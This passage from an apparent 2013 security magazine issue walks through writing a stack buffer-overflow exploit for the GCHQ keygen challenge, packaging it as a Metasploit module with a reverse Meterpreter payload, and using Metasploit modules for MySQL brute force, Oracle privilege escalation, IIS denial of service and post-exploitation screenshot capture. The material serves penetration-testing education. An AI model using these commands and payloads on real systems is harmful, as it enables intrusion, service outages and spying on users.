sideration it is simple to understand why, in many situations, is possible to find unpatched systems in very important environments and, I believe that it always pays to look for this type of vulnerability at the beginning of a pentest. For the second type of attack used in my demo, the only solution is to find a manner for managing the password for local admin for every host, which manner? I don’t know, there are many possible solution and you need to look which one is the better for your infrastructure. Another important notice is that ALL activities that we have accomplished have left a trace in the event log: event id 4625 e 4776 for smb/smb2 attack, with the IP address of the attacking machine, the creation of user and the group nesting performed with incognito can creates the event id 4728, 4720, 4722, 4738, 4724 and 4732. In this regard a very interesting reading is in the website ultimatewindowssecutity.com (Figure 18 and Figure 19). The use of IDP/IPS can detect and stop some metasploit attacks, in the same manner we need to remember that it is true that meterpreter work in memory, and for this reason it is stealth, but otherwise, when something is uploaded to disk, many antivirus can detect the attack. For example, every time that you try to get persistence, you put something on the target disk. For trapping the creation of users, or the nesting in privileged groups you can use some scripts, or software for monitoring appropriate event Id or you can use various users provisioning tools that can trap every unexpected modification.

For many years, Joe Weiss has been sounding the alarm regarding the potential adverse impact of the ‘law of unintended consequences’ on the evolving convergence between industrial control systems technology and information technology. In this informative book, he makes a strong case regarding the need for situational awareness, analytical thinking, dedicated personnel resources with appropriate training, and technical excellence when attempting to protect industrial process controls and SCADA systems from potential malicious or inadvertent cyber incidents.”

—Dave Rahn, Registered Professional Engineer, with 35 years experience. GUGLIELMO SCAIOLA

Guglielmo Scaiola works as I.T. Pro since 1987, He’s a free lance consultant, pentester and trainer, works especially in banking environment. Over the years Guglielmo has achieved several certifications, including: MCT, MCSA, MCSE, Security +, Lead Auditor ISO 27001, ITIL, eCPPT, CEI, CHFI, CEH and ECSA. In 2011 he was awarded the “Ec-Council Instructor – Circle of Excellence.’’ Guglielmo Scaiola can be contacted at s0ftwar@ miproparma.com

FOR US ORDERS:

www.momentumpress.net PhOne 800.689.2432

FOR INTERNATIONAL ORDERS: McGraw-Hill Professional www.mcgraw-hill.co.uk

www.hakin9.org/en

PhOne: 44 (0)1628 502700

TOOLS

How to Bend Metasploit to Your Will Most articles on Metasploit cover what it is, what it does and how to use it. Essentially you can find out how to scan for vulnerable systems followed by how to select, configure and deploy an exploit against a vulnerable system.

T

hese are indispensable skills to anyone who wishes to use the framework in any capacity. The purpose of this article is to give those interested an insight into how to extend Metasploit to suit their own specific needs. This extensibility is where Metasploit is leagues ahead of the competing frameworks currently available. The Metasploit framework is Open Source which allows anyone to change the framework in whatever way they see fit. This may be as simple as adding debug strings to existing exploit modules right up to creating a brand new exploit module for a specific exploit. Penetration testing is not an exact science and good testers are required to adapt to specific situations on a daily basis. For example, exploits may not work “out-of-the-box” and require investigation, debugging and possibly customisation of exploits to successfully compromise the target systems. Closed source commercial toolkits leave their users at the mercy of the quality of the exploits that are shipped with their frameworks; an exploit will either work or not and there is nothing the tester can do to adapt to these situations using commercial tools. Metasploit places this power back into the hands of those willing to take it. This article is not about going through what Metasploit is, or how to use the framework; its purpose is to give those looking to get more out of Metasploit a start into how they can extend the framework for their own needs. To illustrate this process this article will cover not only what’s re-

134

quired to create an exploit module for the framework but will cover the entire process of creating a custom exploit for a vulnerability in a piece of software, right through to creating a custom module for the Metasploit framework. The exploit development process will discuss the following tools: • IDA – Interactive Disassembler • OllyDbg – Open source debugger for windows • pattern_create.rb – Used to create a string where no substring appears more than once in the string. More details on this later in the article • pattern_offset.rb – Used to find the offset of a substring within the pattern created using the above tool • Metasploit – Needs no introduction; open source penetration testing framework There is enough to both IDA, OllyDbg and reverse engineering techniques to warrant a series of articles. For the purposes of this article only the required features and concepts will be presented.

Step 1 – where is the vulnerability? In order to examine the process a vulnerable application is required. In 2011 the U.K. Government Communications Headquarters (GCHQ) released a challenge as part of a recruitment drive. Part 3 of that challenge was a key generation challenge. In order to solve the challenge a license.txt file had

TBO 01/2013

to be created which would generate a URL. The details of this challenge are well beyond the scope of this article, but for those interested please visit: http://www.canyoucrackit.co.uk. (At the time of writing this file is still available at: http://www.canyoucrackit.co.uk/da75370fe15c 4148bd4ceec861fbdaa5.exe) The interesting aspect of this file is that it is vulnerable to a simple buffer-overflow vulnerability; making it perfect to use for demonstration purposes. Running the application presents the user with the following: Figure 1. Based on the returned message the program requires a hostname in order to function properly. Trying with www.google.com for the hostname gives the following message: Figure 2. The application now requires a license.txt file. Creating an arbitrary license.txt file returns the fol-

Figure 1. Run the application

Figure 2. Hostname with google

lowing message: Figure 3. This message gives very little away. In order to proceed, the application must be reverse engineered to find out what the valid license.txt format must be. The loading routine of keygen.exe can be examined in IDA. This screenshot shows where in the keygen.exe binary the ‘license.txt’ file is opened. First the string license.txt is loaded onto the stack and then the API _fopen64 is called: Figure 4. If the file is successfully opened, the following code attempts to read one line from the file using the API fscanf, highlighted in the image below. The next thing the code does is check to see if the line of text read from the file begins with the string ‘gchq’: Figure 5. If those conditions have been satisfied, keygen. exe then uses the crypt API to encrypt the next 8 bytes using 56-bit DES. The result of this encryption operation is taken and is compared to: hqDTK7b8K2rvw. The idea behind this part of the challenge was to see if the plaintext used to create hqDTK7b8K2rvw. A decent password cracking utility will recover the plaintext quite quickly. The plaintext is: ‘cyberwin’ (Figure 6). Based on the analysis, the string in the license. txt file must take the following format: ‘gchqcyberwin[license_data]’ where [license_data]

Figure 3. Creating txt file

Figure 4. license.txt loaded and API_fopen64 called

Figure 6. The recovery of the plaintext

Figure 5. Check for „qchq”

Figure 7. Code loading the line from the license.txt file

www.hakin9.org/en

135

TOOLS will be used by keygen.exe to construct a URL. Constructing the correct URL solves the challenge.

work. The rest of the article will focus on the buffer overflow above and what’s involved in exploiting it.

Enough analysis, where’s the exploit!?

The code that loads the line from the file can be broken down into two components. First it creates memory on the stack to hold the information from the file; secondly it reads the data suing the fscanf call. This is the code that creates enough room on the stack to read 24 bytes from the file: Figure 8. This is followed by the fscanf call. Fscanf will read a string from a file until it hits a null-terminator ‘\0’ or a new-line type character. As there is no bounds, checking a line longer than 24 bytes will exceed the buffer size and result in unpredictable behaviour from the program. Here’s the output from loading a license.txt file containing (Figure 9):

Take another look at the piece of code that loads the line from the license.txt file: Figure 7. You may have noticed that there is a buffer overflow in the code used to load in the contents of the license.txt file. At this point the discussion will move away from the GCHQ challenge and back to exploit development and the Metasploit frame-

Figure 8. Read 24 bytes from the file thanks to the code

A closer look at the vulnerability...

‘gchqcyberwinHACKIN9HACKIN9HACKIN9HACKIN9HACKIN9 HACKIN9HACKIN9HACKIN9!!!’

Corrupted stack? Although the string is only slightly longer than the allocated buffer the integrity of the stack has been corrupted by user supplied input causing the application to crash. Excellent, user supplied input has corrupted the stack, is it now possible to gain control over execution? Figure 9. The output from loading a license.txt

I want my E.I.P. It’s now time to use a debugger to find out exactly what is going on internally when the contents of

Figure 10. Create a breakpoint

Figure 12. Loading the data in

Figure 11. Execture the program

136

Figure 13. Create a breakpoint

TBO 01/2013

the malicious license.txt file are loaded. Open the file in OllyDbg and go to address 0x401150 within the file. This is where the fscanf API is located. Create a breakpoint at this address (Press F2) to suspend execution when the program reaches that point during execution: Figure 10. After creating the breakpoint execute the program (Press F9). The important part of the output at this point is the stack: Figure 11. The stack is in a typical state right before a function call. Notice the highlighted item above. This is a return address that will be used by the program when it exits out of a function and the program executes a RETN instruction. When the RETN instruction is encountered the CPU will load the next DWORD on the stack into the instruction pointer (EIP) and execution will continue from that point. Step over (Press F2) the fscanf call to see what happens when the program loads in the data from the license.txt file: Figure 12. Comparing the two previous screenshots shows that data in the license.txt file has overwritten a location on the stack that originally stored a return address. Continue execution until the end of the function to the next RETN instruction to see if the contents of the license string can be used to over-

write the EIP. The address of the return instruction is 0x401208. Create a breakpoint and let the program run to this point (Press F9): Figure 13. Unfortunately, the execution never reaches the RETN instruction as the program encounters an ‘Access Violation’ Error: Figure 14. It seems that the contents of the license file have corrupted execution in an unexpected way. Restart the program (CTRL+F2) and find out where the program is failing. Stepping through the program in the debugger reveals the cause of the issue. The address on the stack at location: 0x22CCD4 has been corrupted by part of the attack string. As a result the program terminates before we can gain control over execution. The DWORD at address 0x22CCD4 contains bytes from our attack string: Figure 15. The following code within keygen.exe uses the address it reads off the stack, to reference another part of the program: Figure 16. As this reference points to an unknown address (0x00212121) in the program, it results in the access violation shown earlier. To fix this, two details must be known: • What the address should be under normal execution • The exact location in the attack string that corrupts the address in the stack

Find out what the address should be under normal execution Figure 14. „Access Violation” Error

Figure 15. Bytes from the attack string

Figure 16. keygen.exe reads the address off the stack

www.hakin9.org/en

To find out what the address should be add a breakpoint at 0x4011F1. As shown here: Figure 17. Change the license.txt file so that the string is no longer than 24 bytes. This will prevent corrupting the stack. Execute the program to the breakpoint at address 0x4011F1 that was created in the pre-

Figure 17. Add a breakpoint at 0x4011F1

Figure 18. DWORD on the stack

137

TOOLS vious step. Viewing the data on the stack at address 0x22CCD4 now shows what the contents of the corrupted region of the stack should be under normal operations. In this case the DWORD 0x104383F8 should be on the stack: Figure 18. Note: If you are following along, the exact address may be different so make sure you check all the details! The attack string will need to preserve this information to ensure the program operates correctly when processing the malicious payload. The correct contents are known but the location in the attack string is not yet clear. The next section will discuss the Metasploit of finding particular locations within attack strings.

Find the exact location in the attack string that corrupts the address in the stack The Metasploit framework provides two extremely useful tools which help in finding the exact location in the attack string that overwrite particular locations in memory. These are: • pattern_create.rb • pattern_offset.rb Pattern_create.rb creates a string where two or more characters are not repeated anywhere else in the string. The following screenshot shows creating a pattern 1024 bytes in length, and then us-

ing pattern_offset.rb to find the exact offset of the characters: ‘8Ab9’ (Figure 19). This can be used to find out critical locations in the attack string for this example. Create a license. txt file with the following string: gchqcyberwinAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1A b2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac 8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4 Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0A g1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah 7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Running the program shows that contents at address are overwritten by the string: 8Ab9 (highlighted in red above; Figure 20). Using pattern_offset.rb can then be used to show that the offset of this location in the attack string is 56 bytes into the string: Figure 21

Fix the attack string Armed with this information the attack string can be repaired to prevent crashing the program before gaining control over execution. Using a hexeditor replace the string 8Ab9 with the correct address obtained above: Figure 22. The bytes are placed into the file in reverse order as the architecture is little-endian. Running the program again now shows the following: Figure 23. As the highlight section shows the correct information is loaded at the correct location on the stack. The program no longer crashes and can run to the end of the function to the RETN instruction shown here: Figure 24. This image also shows the stack. When a RETN instruction is encountered the CPU will pop the

Figure 21. Use pattern_offset.rb

Figure 19. Find the offset

Figure 20. Conthents overwritten by the string: 8Ab9

138

Figure 22. Replace 8Ab9 with the correct address

TBO 01/2013

next DWORD, known as the return address, off the stack and load it into the instruction pointer (EIP). This is the key requirement in gaining control over execution when exploiting buffer overflow vulnerabilities. The attack string must overwrite this information on the stack to a location in memory that contains the shellcode. In this case the part of the attack string that overwrites this key piece of information is: 0x41623641 or Ab6A. The exact location of this string can be found using the technique described above. If the RETN instruction is executed the program will attempt to continue execution from 0x41366241, as shown here: Figure 25. As there is no code at this address the program will crash. The attack string, which is under our control, is loaded onto the stack. In order to execute arbitrary code, all that is now required is loading shellcode onto the stack and redirecting execution to the shellcode located on the stack by overwriting

the EIP as shown above. Reviewing the stack in OllyDbg choose a location nearer the end of the current attack string. For demonstration purposes 0x0022CD6C was chosen.

First shellcode... To confirm execution is working change the shellcode to be a series of NOP (0x90) instructions followed by an INT3 (0xCC) instruction. The INT3 instruction is a trap to the debugger to halt execution. Make sure that changes to the attack string are made after the addresses used to fix the attack string in the earlier section. The next image shows the updated license file with the new EIP, NOP and INT3 instructions (Figure 26). Running the keygen program as far as the RETN instruction shows that the return address is now 0x0022CD32, the location of the shellcode on the stack. This is illustrated here: Figure 27.

Figure 23. Run the program again

Figure 26. New EIP, NOP and INT3 instructi

Figure 24. RETN

Figure 25. Execution from 0x41366241

www.hakin9.org/en

Figure 27. The location of the shellcode on the stack

139

TOOLS Stepping past the RETN instruction shows that the CPU now executes the NOP instructions as far as the INT3 instruction: Figure 28. This has confirmed that gaining control over execution is possible by crafting the contents of the license.txt file.

Deliver a payload... The next step is to have Metasploit generate some useful shellcode for use in the exploit. In order to do this the Metasploit framework provides yet another tool: msfpayload. This can be used to generate the shellcode for any payload

that is available in the Metasploit framework. Use msfpayload to search for a particular payload (Figure 29): msfpayload -l | grep -i exec

Then use it to generate the shellcode (Figure 30): msfpayload windows/exec CMD=calc.exe P

In its current format this payload will not work in our exploit. Earlier it was noted that fscanf will read one line of text. Special characters like 0x0a, 0x0c, 0x0d, 0x20 will cause fscanf to stop reading the exploit code and break execution. Fortunately Metasploit also assists with getting around this type of restriction. Msfpayload can be used in combination with msfencode and tell it not to use particular characters. In this case, the following command will generate shellcode that will work with the fscanf API:

Figure 28. CPU executes NOP and INT3

Figure 29. USE msfpayload to find a payload

Figure 32. Use hex code

Figure 30. Generate the shellcode

Figure 31. The output of the command

140

Figure 33. Test your exploit

TBO 01/2013

-

msfpayload windows/exec CMD=calc.exe R | msfencode -b ‘\x0a\x0c\x0d\x20’

The output of this command is: Figure 31. This is then added to the shellcode using the hex editor: Figure 32. The next test is to test our exploit: Figure 33. Great, it works! The maliciously crafted license. txt file can execute calc.exe!

All wrapped up in a nice little module... Ok, at this stage all of the information required to create a working exploit is available. The next step is to abstract this exploit into a Metasploit module in order to use it in the framework and benefit from all of the features the framework provides. The best way to find out how to create exploit is to review the existing exploit modules. In this case our module needs to create a file which will contain the exploit and payload. In order to create the module the foxit_title_bof.rb exploit module was used as a template. All of the exploit modules (on backtrack) are located in the folder: /opt/

Figure 34. Skeleton module

metasploit/msf3/modules/exploits. In this directory the exploits are organised by operating system and then by software or type. As this is a fileformat type exploit for the windows platform the new exploit module will be located in: /opt/metasploit/msf3/modules/exploits/windows/fileformat

This is where the foxit_title_bof.rb module was taken from. All of the foxit specific functionality was stripped out to leave a minimal skeleton module: Figure 34. This module has the bare minimum required to function as an exploit module: initialize and exploit. The initialize function sets up the exploit module and contains the information that is seen when the ‘info’ command is used against a module. It is also used to register options to allow configuration using msfconsole. Most of the information above is for informational purposes only, for example: name, description, version, etc. however, the ‘Payload’ section contains configuration options for the payload. In this case the ‘BadChars’ option is used to ensure that Metasploit encodes the payload appropriately and does not use characters that will break the exploit. The does the same job as msfencode did earlier in the article. The exploit function is called when the ‘exploit’ command is issued.

Figure 36. Configure the module

Figure 37. Code the exploit

Figure 35. Issue „gchq” command

www.hakin9.org/en

Figure 38. Issue the exploit command

141

TOOLS As the image shows this is currently empty and will not do anything in its current state. Saving the module as it is in the location:

It really is as simple as that, in this case a working exploit module can be create using three commands. The framework makes exploit development so much easier.

/opt/metasploit/msf3/modules/exploits/windows/ fileformat/gchq_license_bof.rb

Test the exploit

will ensure that it is loaded by the framework the next time the Metasploit is started. To confirm simply start msfconsole and issue the ‘search gchq’ command as shown here: Figure 35. This module can now be configured in the same way as any other module in the framework, for example: Figure 36. This looks good but the exploit module is not yet configured to do anything.

Load and configure the module as before and now issue the exploit command: Figure 38. As shown here a file is create in /root/.msf4/local/ license.txt The contents of the created file look like this: Figure 39. Copy this file to the test system and run it through leygen.exe again (Figure 40). As the screenshot shows the calc.exe is executed when keygen.exe opens the created license.txt file.

Add the exploit code

Power of the framework...

The last step is to tell the module what to do when the exploit command is issued. In this case coding the exploit function is very simple: Figure 37. First of the all the code creates a license stub. This is the same license stub that was used earlier in the hex editor. Next, add the payload to the licence stub. This is achieved by simply using the Metasploit function ‘payload.encoded’. This function transparently generates and encodes the payload which is then appended to the stub as shown above. Lastly the file_create function is used to write the newly created malicious file to the disk.

Now that the exploit module has been abstracted it’s time to use the framework to deploy a far more interesting payload than showing a calculator! For this purpose, the payload windows/meterpreter/reverse_tcp is used. Reconfigure the exploit module like so: Figure 41. Start up a handler on the server (attacker’s) side (Figure 42): exploit/multi/handler

Figure 41. Reconfigure the exploit module

Figure 39. The content of the file

Figure 42. Start up a handler on the server

Figure 40. Run the file through leygen.exe

142

Figure 43. Connect back to the waiting Metasploit session on the attacker’s side

TBO 01/2013

Note: no handler was created in the module so it has to be manually started. This time when the exploit is deployed a reverse Meterpreter shell is created which connects back the waiting Metasploit session on the attacker’s side: Figure 43. This gives shell access to the victim’s system and the attacker’s job is complete! At this point the attacker can leverage the full power of the Metasploit framework on the victim’s system.

dustry. There is a wealth of knowledge in the exploit database just waiting for the curious to explore. This article is just the beginning of what’s possible with Metasploit, every single part of the Framework can be changed to suit your specific needs. Don’t be afraid of the internals of the framework; let your curiosity get the better of you and just dive in. Note: Remember hacking in all its forms is illegal! So unless you have written permission to try an exploit against a system don’t do it! The penalties are real and severe. Have fun and don’t be stupid!

Conclusions Hopefully this article has been able to convey just how much power the Metasploit framework places in your hands. The framework is not simply limited to the quality of the content it ships with, for those willing to get their hands dirty any component of the framework can be changed to suit a specific situation. The article covered creating a custom exploit and abstracting it into its own module. The example used is a basic buffer overflow used but there are far more sophisticated exploit modules using various techniques such as return-oriented-programming, written by some of the best minds in the ina

d

v

e

r

t

Acknowledgments

Thanks to my wife Jean for putting up with me ignoring her to write this and all of my other endeavours and my brother Brian for being kind enough to review it for me! Remember, winter is coming.

PATRICK FITZGERALD

Patrick Fitzgerald works in Dublin, Ireland as an Information Security Consultant for Ward Solutions LinkedIn: ie.linkedin.com/pub/patrick-fitzgerald/4/911/529 Twitter: @misterfitzy i

s

e

m

e

n

t

OWASP Foundation “We help protect critical infrastructure one byte at a time”

¥ 140+ Checklists, tools & guidance ¥ 150 Local chapters ¥ 20,000 builders, breakers and defenders ¥ Citations: NSA, DHS, PCI, NIST, FFIEC, CSA, CIS, DISA, ENISA and more.. Learn More: http://www.owasp.org

TOOLS

How to Work with Metasploit Auxiliary Modules

The Metasploit framework is based on a modular architecture. This means that all the exploits, payloads, encoders etc. are present in the form of modules. The biggest advantage of a modular architecture is that it is easier to extend the functionality of the framework based on requirement.

A

ny programmer can develop his own module and port it easily into the framework. Even though modules are not very much talked about while working with metasploit, but they form the crux of the framework so it is essential to have a deep understanding of it. In this tutorial we will particularly focus on / framework3/modules directory which contains a complete list of useful modules which can ease up our task of penetration testing. Later in the chapter we will also analyse some of the existing modules and finally conclude the discussion by learning how to develop our own modules for metasploit. So let us start our experiments with modules.

Working with Scanner Modules Let us begin our experimentation with scanner modules. We will start with scanning modules which ships with the framework. Even though nmap is a powerful scanning tool but still there can be situations where we have to perform a specific type of scan like scanning for presence of mysql database etc. Metasploit provides us a complete list of such useful scanners. Let us move ahead and practically implement some of them. To find the list of available scanners we can browse to /framework3/ modules/auxiliary/scanner. You can find a collection of more than 35 useful scan modules which can be used under various

144

penetration testing scenarios. Let us start with a basic HTTP scanner. You will see that there are lots of different HTTP scan options available. We will discuss few of them here. Consider the dir_scanner script. This will scan a single host or a complete range of network to look for interesting directory listings that can be further explored to gather information. To start using an auxiliary module, we will have to perform following steps in our msfconsole: msf > use auxiliary/scanner/http/dir_scanner msf auxiliary(dir_scanner) > show options

Module options: The show options command will list all the available optional parameters that you can pass along with the scanner module. The most important one is the RHOSTS parameter which will help us in targeting either a single user or a range of hosts. Let us discuss a specific scanner module involving some extra inputs. The mysql_login scanner module is a brute force module which scans for the availability of Mysql server on the target and tries to login to the database by brute force attacking it. msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > show options

TBO 01/2013

11th & 12 th April 2013, PrAgue Does you organization implement Cyber Security Solutions? Would you like to learn from industry peers on how they do this? Do you have a solution that you would like to present in front of the biggest industry minds? The CSS will bring together key corporate security decision makers to discuss the strategic priorities, potential risk factors and threats. Together, they will provide you with inspirational guidance on how industry experts respond to these denunciatory challenges.

Special Offer in cooperation with:

20% off! (Discount code: HknIT)

Why should you attend?

What distinguishes this event?

n Gain an insight into the IT incidents n Understandt how nations premier companies are improving their cyber security n Address your questions to the best experts n Find out how secure you are and what level and form of attack could come in to you n Review your level of security and readiness for penetration n Align your security strategy with critical business and corporate goals n Obtain the latest update on state of art in digital treats in cyber underground n Utilize the full potential of cyber security n Learn how to information awareness can minimize your risk n HOT TOPIC: Banking Malware and Threats

CSS is not a typical summit focused on government agencies. The light is shed on coping with cyber risk in the enterprise world. Building on the success of our previous events, the distinguishing features of this unique format are: n One of the best experts in the world answers your question and provide their in-depth know-how n Unique mix of 15 presentations, practical sessions, key studies n Exclusive senior-level attendance n Practical and up-to-date studies and solutions n Customized itineraries n EBCG ThinkTank sessions - who knows your business better than your peers

4 Ways to contact us:

Tel.: +421 2 3220 2200 Fax: +421 2 3220 2222 e-mail: [email protected] web: www.ebcg.biz

TOOLS Module options (auxiliary/scanner/mysql/mysql Listing 1. AS you can see there are lots of different parameters that we can pass to this module. The better we leverage the powers of a module, the greater are our chances of successful penetration testing. We can provide a complete list of username and password which the module can use and try on the target machine. Let us provide this information to the module. _ login):

msf auxiliary(mysql_login) > set USER_FILE /users.txt USER_FILE => /users.txt msf auxiliary(mysql_login) > set PASS_FILE /pass.txt PASS_FILE => /pass.txt

Now we are ready to brute force. The last step will be selecting the target and provide the run command to execute the module (Listing 2). The output shows that the module starts the process by first looking for the presence of mysql server on the target. Once it has figured out, it starts trying for the combinations of usernames and password provided to it through external text file. This is also one of the most widely used modular operations of metasploit in current scenario.

A lot of automated brute force modules have been developed to break weak passwords.

Working With Admin Auxiliary modules Moving ahead with our module experiment, we will learn about some admin modules which can be really handy during penetration testing. The admin modules can serve different purposes like it can look for an admin panel, or it can try for admin login etc. It depends upon the functionality of the module. Here we will look at a simple admin auxiliary module called mysql_enum module. The mysql_enum module is a special utility module for mysql database servers. This module provides simple enumeration of mysql databse server provided proper credentials are provided to connect remotely. Let us understand it in detail by using the module. We will start with launching the msfconsole and providing the path for auxiliary module. msf > use auxiliary/admin/mysql/mysql_enum msf auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql _ enum):

Listing 1. Module options Name ---BLANK_PASSWORDS BRUTEFORCE_SPEED PASSWORD PASS_FILE RHOSTS RPORT STOP_ON_SUCCESS THREADS USERNAME USERPASS_FILE USER_FILE VERBOSE

Current Setting --------------true 5

3306 false 1

true

Required -------yes yes no no yes yes yes yes no no no yes

Description ----------Try blank pas.. How fast to.. A specific password File containing.. The target address. The target port.. Stop guessing… The number of.. A specific user.. File containing.. File containing.. Whether to print..

Listing 2. Running a command to execute the module msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf auxiliary(mysql_login) > run [*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a [*] 192.168.56.101:3306 Trying username:’administrator’ with password:’’

146

TBO 01/2013

Name Current Setting Required Description ----------------------- ----------PASSWORD no The password for the.. RHOST yes The target address RPORT 3306 yes The target port USERNAME no The username to..

As you can see that the modules accepts password, username and RHOST as parameters. This can help the module in first searching for the existence of a mysql database and then apply the credentials to try for remote login. There are several similar modules available for other services like MSSQL, Apache etc. The working process is similar for most of the modules. Remember to use the show options command in order to make sure that you are passing the required parameters to the module.

SQL Injection and DOS attack modules Metasploit is friendly for both penetration testers as well as hackers. The reason for this is that a penetration tester has to think from hacker’s perspective in order to secure the network. The SQL injection and DOS modules help penetration testers in attacking their own services in order to figure out if they are susceptible to such attacks. So let’s discuss some of these modules in detail. The SQL injection modules use a known vulnerability in the database type to exploit it and provide unauthorized access. The modules can be found in modules/auxiliary/sqli/oracle. Let us analyse an oracle vulnerability called Oracle DBMS_METADATA XML vulnerability. This vulnerability will escalate the privilege from DB_USER to DBA (Database Administrator). We will be using the dbms_metadata_get_xml module.

msf

auxiliary(dbms_metadata_get_xml) > show options

Module

options (auxiliary/sqli/oracle/dbms _ metadata _ get _ xml):

Name Current Setting Required --------------- -------DBPASS TIGER yes DBUSER SCOTT yes RHOST yes RPORT 1521 yes SID ORCL yes authenticate. SQL GRANT DBA to SCOTT no

Description ----------The password to.. The username to.. The Oracle host. The TNS port. The sid to SQL to execute.

The module requests for similar parameters which we have seen so far. The database first checks to login by using the default login credentials ie, “SCOTT” and “TIGER” as the default username and password respectively. This enables a DB_ User level login. Once the modules gains login as a database user, it then executes the exploit to escalate the privilege to the database administrator. Let us execute the module as a test run on our target. msf msf msf

auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1 auxiliary(dbms_metadata_get_xml) > set SQL YES auxiliary(dbms_metadata_get_xml) > run

On successful execution of module, the user privilege will be escalated from DB _ USER to DB _ ADMINISTRATOR. The next module we will cover is related to Denial Of Service (DOS) attack. We will analyze a

Listing 3. Module options Name ---RHOST RPORT URI VHOST

Current Setting --------------80 /page.asp

Required -------yes yes yes no

Description ----------The target address The target port URI to request The virtual host name to..

msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1 RHOST => 192.168.56.1 msf auxiliary(ms10_065_ii6_asp_dos) > run [*] Attacking http://192.168.56.1:80/page.asp

www.hakin9.org/en

147

TOOLS simple IIS 6.0 vulnerability which allows the attacker to crash the server by sending a POST request containing more than 40000 request parameters. We will analyze the vulnerability shortly. This module has been tested on an unpatched Windows 2003 server running IIS 6.0. The module we will be using is ms10_065_ii6_ asp_dos. msf > use auxiliary/dos/windows/http/ms10_065_ii6_ asp_dos msf auxiliary(ms10_065_ii6_asp_dos) > show options

Module

options (auxiliary/dos/windows/http/ ms10 _ 065 _ ii6 _ asp _ dos): Listing 3.

Once the module is executed using the run command, it will start attacking the target IIS server by sending HTTP request on port 80 with URI as page.asp. Successful execution of the module will lead to complete denial of service of the IIS server.

Post Exploitation Modules We also have a separate dedicated list of modules that can enhance our post-exploitation penetration testing experience. Since they are post exploitation modules so we will need an active session with our target. Here we are using an unpatched Windows 7 machine as our target with an active meterpreter session. You can locate the post modules in modules/ post/windows/gather. Let us start with a simple enum_logged_on_users module. This post module will list the current logged in users in the windows machine. We will execute the module through our active meterpreter session. Also keep in mind to escalate the privilege using getsystem command in order to avoid any errors during the execution of module (Listing 4). Successful execution of module shows us two tables. The first table reflects the currently logged on user and the second table reflects the recently

Listing 4. The Osage of getsystem command meterpreter > getsystem ...got system (via technique 4). meterpreter > run post/windows/gather/enum_logged_on_users [*] Running against session 1 Current Logged Users ==================== SID --S-1-5-21-2350281388-457184790-407941598

User ---DARKLORD-PC\DARKLORD

Recently Logged Users ===================== SID --S-1-5-18 S-1-5-19 S-1-5-20 S-1-5-21-23502 S-1-5-21-235

148

Profile Path -----------%systemroot%\system32\config\systemprofile C:\Windows\ServiceProfiles\LocalService C:\Windows\ServiceProfiles\NetworkService C:\Users\DARKLORD C:\Users\Winuser

TBO 01/2013

logged on user. Follow the correct path while executing the modules. We have used the run command to execute the modules as they are all in form of ruby script so meterpreter can easily identify it. Let us take one more example. There is an interesting post module that captures a screenshot of the target desktop. This module can be useful when we have to know whether there is any active user or not. The module we will use is screen_spy.rb.

meterpreter > [*] Migrating [*] Migration [*] Capturing

run post/windows/gather/screen_spy to explorer.exe pid: 1104 successful 60 screenshots with a delay of 5 seconds

You might have noticed how easy and useful post modules can be. In the coming future, the developers of metasploit will be focusing more on post modules rather than meterpreter as it greatly enhances the functionality of penetration

Listing 5. Pulling out the main scan module from the metasploit library initialize

def

super( ‘Name’ ‘Version’ ‘Description’ ‘Author’ ‘License’

=> => => => =>

‘TCP Port Scanner’, ‘$Revision$’, ‘Enumerate open TCP services’, [ darklord ], MSF_LICENSE

)

Listing 6. Module’s details register_options( [ OptString.new(‘PORTS’, [true, “Ports to scan (e.g. 25,80,110-900)”, “1-10000”]), OptInt.new(‘TIMEOUT’, [true, “The socket connect timeout in milliseconds”, 1000]), OptInt.new(‘CONCURRENCY’, [true, “The number of concurrent ports to check per host”, 10]), self. class) deregister_options(‘RPORT’)

Listing 7. Storing of the boolean value in res if

res write_check = send_cmd( [‘MKD’, dir] , true) (write_check and write_check =~ /^2/) send_cmd( [‘RMD’, dir] , true) print_status(“#{target_host}:#{rport} Anonymous access_type = “rw” if



else

print_status(“#{target_host}:#{rport} Anonymous access_type=”ro”

www.hakin9.org/en

149

TOOLS testing. So if you are looking to contribute to the metasploit community then you can work on post modules.

Basics of Module Building So far we have seen the utility of modules and the power that they can add to the framework. In order to master the framework it is very essential to understand the working and building of modules. This will help us in quickly extending the framework according to our needs. In the next few recipes we will see how we can use ruby scripting to build our own modules and import them into the framework. To start building our own module we will need basic knowledge of ruby scripting. In this discussion we will see how we can use

ruby to start building modules for the framework. The process is very much similar to meterpreter scripting. The difference lies in using a set of pre-defined scripting lines that will be required in order to make the framework understand the requirements and nature of module. Let us start with some of the basics of module building. In order to make our module readable for the framework we will have to import msf libraries. require ‘msf/core’

This is the first and foremost line of every script. This line tells that the module will include all the dependencies and functionalities of the metasploit framework.

Listing 8. The result of the operation’s failure report_auth_info( :host => target_host, :port => rport, :sname => ‘ftp’, :user => datastore[‘FTPUSER’], :pass => datastore[‘FTPPASS’], :type => “password_#{access_type}”, :active => true ) end

Listing 9. Importing the Framework libraries require ‘msf/core’ require ‘rex’ require ‘msf/core/post/windows/registry’ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry initialize(info={}) super( update_info( info,

def

‘Name’ => ‘Description’ => ‘License’ => ‘Platform’ => ‘SessionTypes’ => ))

‘Windows Gather Installed Application Enumeration’, %q{ This module will enumerate all installed applications }, MSF_LICENSE, [ ‘windows’ ], [ ‘meterpreter’ ]

end

150

TBO 01/2013

TOOLS class Metasploit3 < Msf::Auxiliary

This line defines the class which inherits the properties of the Auxiliary family. The Auxiliary module can import several functionalities like scanning, opening connections, using databse etc. include Msf::

